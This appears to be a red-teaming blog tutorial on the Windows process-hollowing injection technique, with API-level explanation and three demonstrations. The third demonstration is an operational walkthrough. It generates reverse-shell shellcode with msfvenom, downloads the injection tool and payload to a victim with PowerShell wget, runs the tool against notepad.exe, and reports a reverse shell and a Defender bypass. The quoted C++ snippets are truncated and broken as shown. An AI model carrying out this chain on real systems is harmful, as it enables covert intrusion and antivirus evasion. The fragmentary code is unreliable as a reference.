Red Teaming

Process Hollowing (Mitre:T1055.012)


In July 2011, John Leitch of talked about a technique he called process hollowing in his whitepaper here. Ever since then, many malware campaigns like Bandook and Ransom.Cryak, and various APTs have utilized Process Hollowing for defense evasion and privilege escalation. In this article, we aim to discuss the technical concepts utilized behind the technique in an easy to comprehend manner and demonstrate a ready to go tool that can perform Process Hollowing in a portable manner.

MITRE TACTIC: Defense Evasion (TA0005) and Privilege Escalation (TA0004)

MITRE Technique ID: Process Injection (T1055)

MITRE SUB ID: Process Hollowing (T1055.012)

Table of content

  • Pre-Requisites
  • Process Hollowing
  • Demonstration 1: PoC
  • Demonstration 2: PoC
  • Demonstration 3: Real Time Exploit
  • Conclusion


One must be aware of the following requirements in order to fully understand the process discussed:

  • C/C++/C# with Win32 API coding
  • Registers, PEB, Memory management in Windows OS
  • Debugging code

Process Hollowing

Fundamental concept is quite straightforward. In the process hollowing code injection technique, an attacker creates a new process in a suspended state, its image is then unmapped (hollowed) from the memory, a malicious binary gets written instead and finally, the program state is resumed which executes the injected code. Workflow of the technique is:

Step 1: Creating a new process in a suspended state:

  • CreateProcessA() with CREATE_SUSPENDED flag set

Step 2: Swap out its memory contents (unmapping/hollowing):

  • NtUnmapViewOfSection()

Step 3: Input malicious payload in this unmapped region:

  • VirtualAllocEx : To allocate new memory
  • WriteProcessMemory() : To write each of malware sections to target the process space

Step 4: Setting EAX to the entrypoint:

  • SetThreadContext()

Step 5: Start the suspended thread:

  • ResumeThread()

Programmatically speaking, in the original code, the following code was used to demonstrate the same which is explained below

Step 1: Creating a new process

An adversary first creates a new process. To create a benign process in suspended mode the functions are used:

  • CreateProcessA() and flag CREATE_SUSPENDED

Following code, snippet is taken from the original source here. An explanation is as follows:

  • pStartupInfo is the pointer to the STARTUPINFO structure which specifies the appearance of the window at creation time
  • pProcessInfo is the pointer to the PROCESS_INFORMATION structure that contains details about a process and its main thread. It returns a handle called hProcess which can be used to modify the memory space of the process created.
  • These two pointers are required by CreateProcessA function to create a new process.
  • CreateProcessA creates a new process and its primary thread and inputs various different flags. One such flag being the CREATE_SUSPENDED. This creates a process in a suspended state. For more details on this structure, refer here.
  • If the process creation fails, function returns 0.
  • Finally, if the pProcessInfo pointer doesn’t return a handle, means the process hasn’t been created and the code ends.
printf("Creating process\r\n");
if (!pProcessInfo->hProcess)
                printf("Error creating process\r\n");

Step 2: Information Gathering

  • Read the base address of the created process

We have to know the base address of the created process so that we can use this to copy this memory block to the created process’ memory block later. This can be done using:

NtQueryProcessInformation + ReadProcessMemory

Also, can be done easily using a single function:

ReadRemotePEB(pProcessInfo->hProcess) PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess);

  • Read the NT Headers format (from the PE structure) from the PEB’s image address.

This is essential as it contains information related to OS which is needed in further code. This can be done using ReadRemoteImage(). pImage is a pointer to hProcess handle and ImageBaseAddress.

PLOADED_IMAGE pImage = ReadRemoteImage

Step 3: Unmapping (hollowing) and swapping the memory contents

  • Unmapping

After obtaining the NT headers, we can unmap the image from memory.

  • Get a handle of NTDLL, a file containing Windows Kernel Functions
  • HMODULE obtains a handle hNTDLL that points to NTDLL’s base address using GetModuleHandleA()
  • GetProcAddress() takes input of NTDLL
  • handle to ntdll that contains the “NtUnmapViewOfSection” variable name stored in the specified DLL
  • Create NtUnmapViewOfSection variable which carves out process from the memory
printf("Unmapping destination section\r\n");
HMODULE hNTDLL = GetModuleHandleA("ntdll");                                                                                                                                  

FARPROC fpNtUnmapViewOfSection = GetProcAddress  
_NtUnmapViewOfSection NtUnmapViewOfSection =
DWORD dwResult = NtUnmapViewOfSection
  • Swapping memory contents

Now we have to map a new block of memory for source image. Here, a malware would be copied to a new block of memory. For this we need to provide:

  • A handle to process,
  • Base address,
  • Size of the image,
  • Allocation type-> here, MEM_COMMIT | MEM_RESERVE means we demanded and reserved a particular contiguous block of memory pages
  • Memory protection constant. Read here. PAGE_EXECUTE_READWRITE -> enables RWX on the committed memory block.
PVOID pRemoteImage = VirtualAllocEx

Step 4: Copy this new block of memory (malware) to the suspended process memory

Here, section by section, our new block of memory (pSectionDestination) is being copied to the process memory’s (pSourceImage) virtual address

for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
            if (!pSourceImage->Sections[x].PointerToRawData)
            PVOID pSectionDestination =          (PVOID)((DWORD)pPEB->ImageBaseAddress + pSourceImage->Sections[x].VirtualAddress);

Step 5: Rebasing the source image

Since the source image was loaded to a different ImageBaseAddress than the destination process, it needs to be rebased in order for the binary to resolve addresses of static variables and other absolute addresses properly. The way the windows loader knows how to patch the images in memory is by referring to a relocation table residing in the binary.

for (DWORD y = 0; y < dwEntryCount; y++)
            dwOffset += sizeof(BASE_RELOCATION_ENTRY);
            if (pBlocks[y].Type == 0)
            DWORD dwFieldAddress = pBlockheader->PageAddress + pBlocks[y].Offset;
            DWORD dwBuffer = 0;
                        (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),
            dwBuffer += dwDelta;
            BOOL bSuccess = WriteProcessMemory
                        (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),

Step 6: Setting EAX to the entrypoint and Resuming Thread

Now, we’ll get the thread context, set EAX to entrypoint using SetThreadContext and resume execution using ResumeThread()

  • EAX is a special purpose register which stores the return value of a function. Code execution begins where EAX points.
  • The thread context includes all the information the thread needs to seamlessly resume execution, including the thread’s set of CPU registers and stack.
LPCONTEXT pContext = new CONTEXT();
pContext->ContextFlags = CONTEXT_INTEGER;
GetThreadContext(pProcessInfo->hThread, pContext)
DWORD dwEntrypoint = (DWORD)pPEB->ImageBaseAddress + pSourceHeaders->OptionalHeader.AddressOfEntryPoint;
pContext->Eax = dwEntrypoint;                               //EAX set to the entrypoint
SetThreadContext(pProcessInfo->hThread, pContext)
ResumeThread(pProcessInfo->hThread)                 //Thread resumed

Step 7: Replacing genuine process with custom code

Finally, we need to pass our custom code that is to be replaced with a genuine process. In the code given by John Leitch, a function called CreateHallowedProcess is being used that encapsulates all of the code we discussed in step 1 through 6 and it takes as an argument the name of the genuine process (here, svchost) and the path of the custom code we need to inject (here, HelloWorld.exe)

pPath[strrchr(pPath, '\\') - pPath + 1] = 0;
strcat(pPath, "helloworld.exe");

Demonstration 1

The official code can be downloaded, and inspected and the EXEs provided can be run using Process Hollowing. The full code can be downloaded here. Once downloaded, extract and run ProcessHollowing.exe which contains the entire code described above. As you’d be able to see that the file has created a new process and injected HelloWorld.exe in it.

Upon inspecting this in Process Explorer, we see that a new process spawns svchost, but there is no mention of HelloWorld.exe, which means the EXE has now been masqueraded.

NOTE: To modify this code and inject your own shell (generated from tools like msfvenom) can be done manually using visual studio and rebuilding the source code but that is beyond the scope of this article.

Demonstration 2

Ryan Reeves created a PoC of the technique which can be found here. In part 1 of the PoC, he has coded a Process Hollowing exe which contains a small PoC code popup that gets injected in a legit explorer.exe process. This is a standalone EXE and hence, the hardcoded popup balloon can be replaced with msfvenom shellcode to give a reverse shell to your own C2 server. It can be run like so and you’d receive a small popup:

Upon checking in process explorer, we see that a new explorer.exe process has been created with the same specified process ID indicating that our EXE has been successfully masqueraded using hollowing technique.

Demonstration 3: Real-Time Exploit

We saw two PoCs above but the fact is both of these methods aren’t beginner-friendly and need coding knowledge to execute the attack in real-time environment. Lucky for us, in comes ProcessInjection.exe tool created by Chirag Savla which takes a raw shellcode as input from a text file and injects into a legit process as specified by the user. It can be downloaded and compiled using Visual Studio for release (Go to Visual studio->open .sln file->build for release)

Now, first, we need to create our shellcode. Here, I’m creating a hexadecimal shellcode for reverse_tcp on CMD

msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST= LPORT=1234 -f hex

Now, this along with our ProcessInjection.exe file can be transferred to the victim system. Then, use the command to run our shellcode using Process Hollowing technique. Here,

/t:3 Specified Process Hollowing

/f Specifies the type of shellcode. Here, it is hexadecimal

/path: Full path of the shellcode to be injected. Here, same folder so just “hex.txt” given

/ppath: Full path of the legitimate process to be spawned

powershell wget -O ProcessInjection.exe
powershell wget -O hex.txt
ProcessInjection.exe /t:3 /f:hex /path:"hex.txt" /ppath:"c:\windows\system32\notepad.exe"

Now, a notepad.exe has been spawned but with our own shellcode in it and we have received a reverse shell successfully!!

For our own curiosity, we checked this in our local host with defender ON and you can see that process hollowing was completed!

In process explorer, we see that a new notepad.exe has been spawned with the same PID as our new process was created with

And finally, when this was executed, the defender did not scan any threats indicating that we had successfully bypassed the antivirus.

NOTE: Newer versions of Windows will detect this scan as newer patches prevent the process hollowing technique by monitoring unmapped segments in memory.


The article discussed a process injection method known as Process Hollowing in which an attacker is able to achieve code execution by creating a benign new process in a suspended state, injecting custom malicious code in it and then resuming its execution again. The article discussed some of the original code as described by John Leitch and the basic breakdown of the code followed by 3 PoC examples available on github. Hope you enjoyed the article. Thanks for reading.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here